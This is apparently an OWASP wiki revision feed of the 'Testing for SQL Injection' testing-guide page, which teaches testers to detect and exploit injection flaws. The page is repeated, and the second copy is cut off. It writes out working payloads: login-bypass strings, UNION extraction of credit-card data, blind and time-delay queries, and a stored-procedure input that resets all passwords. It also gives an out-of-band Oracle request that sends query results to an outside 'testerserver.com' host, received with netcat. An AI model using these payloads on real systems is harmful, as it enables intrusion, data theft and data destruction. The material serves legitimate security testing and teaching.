OWASP - User contributions [en]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T03:14:25Z

Thompsnm: /* Stored Procedure Injection */ - wrap stored procedures and user input in code blocks; add missing space

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>

We will set the following $id value:

<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

We will have the following query:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

<pre>/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close</pre>

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

<pre>
Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go
</pre>

User input:
<pre>
anyusername or 1=1'
anypassword
</pre>

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

<pre>
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go
</pre>

User input:
<pre>
1 from users; update users set password = 'password'; select *
</pre>

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T03:10:22Z

Thompsnm: /* Time delay Exploitation technique */ - fix typo

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>

We will set the following $id value:

